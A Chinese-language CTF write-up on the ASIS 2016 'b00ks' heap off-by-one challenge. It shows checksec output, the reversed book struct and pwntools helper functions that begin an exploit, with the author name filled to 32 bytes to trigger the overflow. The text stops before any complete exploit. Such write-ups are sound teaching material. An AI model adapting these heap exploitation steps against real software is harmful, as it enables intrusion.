➜ Asis_2016_b00ks checksec b00ks [*] '/mnt/d/Users/Lantern/Desktop/note/pwn_note/heap/off-by-one/Asis_2016_b00ks/b00ks' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
代码分析
题目是一个常见的选单式程序, 功能是一个图书管理系统
1. Create a book 2. Delete a book 3. Edit a book 4. Print book detail 5. Change current author name 6. Exit
程序每创建一个 book 会分配 0x20 字节的结构来维护它的信息
00000000 book struc ; (sizeof=0x20, mappedto_6) 00000000 id dd ? 00000004 padding1 dd ? 00000008 name dq ? 00000010 description dq ? 00000018 size dd ? 0000001C padding2 dd ? 00000020 book ends
Create
book 结构中存在 name 和 description , name 和 description 在堆上分配。首先分配 name buffer , 使用 malloc , 大小自定但小于 32
printf("\nEnter book name size: ", *(_QWORD *)&size); __isoc99_scanf("%d", &size); printf("Enter book name (Max 32 chars): ", &size); ptr = malloc(size);
io.recvuntil('Enter author name:') # input author name io.sendline('a' * 32)
io.recvuntil('>') # create book1 io.sendline('1') io.recvuntil('Enter book name size:') io.sendline('32') io.recvuntil('Enter book name (Max 32 chars):') io.sendline('object1') io.recvuntil('Enter book description size:') io.sendline('32') io.recvuntil('Enter book description:') io.sendline('object1')
defcreate_book(name_size, name, description_size, description): sla(">", "1") sla("Enter book name size:", str(name_size)) sla("Enter book name (Max 32 chars):", name) sla("Enter book description size: ", str(description_size)) sla("Enter book description: ", str(description)) log.info("Create")
defdelete_book(idx): sla(">", "2") sla("Enter the book id you want to delete: ", str(idx)) log.info("Delete")
defedit_book(idx, description): sla(">", "3") sla("Enter the book id you want to edit: ", str(idx)) ru("Enter new book description") sla(": ", description) log.info("Edit")